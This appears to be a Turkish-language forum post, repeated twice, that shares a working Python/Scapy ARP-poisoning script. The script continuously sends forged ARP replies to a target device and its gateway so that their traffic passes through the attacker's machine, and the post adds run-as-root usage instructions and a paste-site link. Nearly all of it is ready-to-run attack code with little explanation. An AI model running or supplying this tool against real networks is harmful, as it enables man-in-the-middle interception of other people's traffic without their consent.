Kod:
import scapy.all as scapy
import time
import optparse
def get_mac_address(ip):
arp_req = scapy.ARP(pdst = ip)
#scapy.ls(scapy.ARP())
broad_req = scapy.Ether(dst = 'ff:ff:ff:ff:ff:ff')
#scapy.ls(scapy.Ether())
combined_packet = broad_req/arp_req
answered_list = scapy.srp(combined_packet,timeout = 1,verbose = False)[0]
return (answered_list[0][1].hwsrc)
def arp_poison(target_ip,poisened_ip):
target_mac = get_mac_address(target_ip)
arp_response = scapy.ARP(op = 2,pdst = target_ip, hwdst = target_mac, psrc = poisened_ip ) #op =1 request, op =2 response, modem macini kendi macimizle degistik
scapy.send(arp_response,verbose = False)
#scapy.ls(scapy.ARP())
def reset_operation(fooled_ip,gateway_ip):
fooled_mac = get_mac_address(fooled_ip)
gateway_mac = get_mac_address(gateway_ip)
arp_response = scapy.ARP(op = 2,pdst = fooled_ip, hwdst = fooled_mac , psrc = gateway_ip, hwsrc = gateway_mac) #reset
scapy.send(arp_response,verbose = False,count = 6)
def get_user_input():
parse_obj = optparse.OptionParser()
parse_obj.add_option('-t','--target',dest = 'target_ip', help ='Enter Target Ip')
parse_obj.add_option('-g','--gateway',dest = 'gateway_ip', help = 'Enter Gateway Ip' )
options = parse_obj.parse_args()[0]
if not options.target_ip:
print('Enter Target Ip!')
if not options.gateway_ip:
print('Enter Gateway Ip!')
return options
number = 0
user_ips = get_user_input()
user_target_ip = user_ips.target_ip
user_gateway_ip = user_ips.gateway_ip
try:
while True:
arp_poison(user_target_ip,user_gateway_ip)
arp_poison(user_gateway_ip,user_target_ip) #burada da modeme bizi target ip olarak gosteriyoruz
number += 2
print('\rSent Packets = ' + str(number) , end = ' ')
time.sleep(3)
except KeyboardInterrupt:
print ('\nQuit & Reset')
reset_operation(user_target_ip,user_gateway_ip)
reset_operation(user_gateway_ip,user_target_ip)
Kullanim
Kod:
python3 ./dosya_adi -t hedef_cihaz_ip -g poison_ip
Terminalimizi acip ilk olarak root iznimizi aliyoruz,dosyayi kaydettigimiz dizine gidiyoruz, yukaridaki komutu kaydettigimiz dosya adiyla beraber calistiriyoruz ve islem basliyor...
https://paste.ubuntu.com/p/ss8YrrR7cm/
import scapy.all as scapy
import time
import optparse
def get_mac_address(ip):
arp_req = scapy.ARP(pdst = ip)
#scapy.ls(scapy.ARP())
broad_req = scapy.Ether(dst = 'ff:ff:ff:ff:ff:ff')
#scapy.ls(scapy.Ether())
combined_packet = broad_req/arp_req
answered_list = scapy.srp(combined_packet,timeout = 1,verbose = False)[0]
return (answered_list[0][1].hwsrc)
def arp_poison(target_ip,poisened_ip):
target_mac = get_mac_address(target_ip)
arp_response = scapy.ARP(op = 2,pdst = target_ip, hwdst = target_mac, psrc = poisened_ip ) #op =1 request, op =2 response, modem macini kendi macimizle degistik
scapy.send(arp_response,verbose = False)
#scapy.ls(scapy.ARP())
def reset_operation(fooled_ip,gateway_ip):
fooled_mac = get_mac_address(fooled_ip)
gateway_mac = get_mac_address(gateway_ip)
arp_response = scapy.ARP(op = 2,pdst = fooled_ip, hwdst = fooled_mac , psrc = gateway_ip, hwsrc = gateway_mac) #reset
scapy.send(arp_response,verbose = False,count = 6)
def get_user_input():
parse_obj = optparse.OptionParser()
parse_obj.add_option('-t','--target',dest = 'target_ip', help ='Enter Target Ip')
parse_obj.add_option('-g','--gateway',dest = 'gateway_ip', help = 'Enter Gateway Ip' )
options = parse_obj.parse_args()[0]
if not options.target_ip:
print('Enter Target Ip!')
if not options.gateway_ip:
print('Enter Gateway Ip!')
return options
number = 0
user_ips = get_user_input()
user_target_ip = user_ips.target_ip
user_gateway_ip = user_ips.gateway_ip
try:
while True:
arp_poison(user_target_ip,user_gateway_ip)
arp_poison(user_gateway_ip,user_target_ip) #burada da modeme bizi target ip olarak gosteriyoruz
number += 2
print('\rSent Packets = ' + str(number) , end = ' ')
time.sleep(3)
except KeyboardInterrupt:
print ('\nQuit & Reset')
reset_operation(user_target_ip,user_gateway_ip)
reset_operation(user_gateway_ip,user_target_ip)
Kullanim
Kod:
python3 ./dosya_adi -t hedef_cihaz_ip -g poison_ip
Terminalimizi acip ilk olarak root iznimizi aliyoruz,dosyayi kaydettigimiz dizine gidiyoruz, yukaridaki komutu kaydettigimiz dosya adiyla beraber calistiriyoruz ve islem basliyor...
https://paste.ubuntu.com/p/ss8YrrR7cm/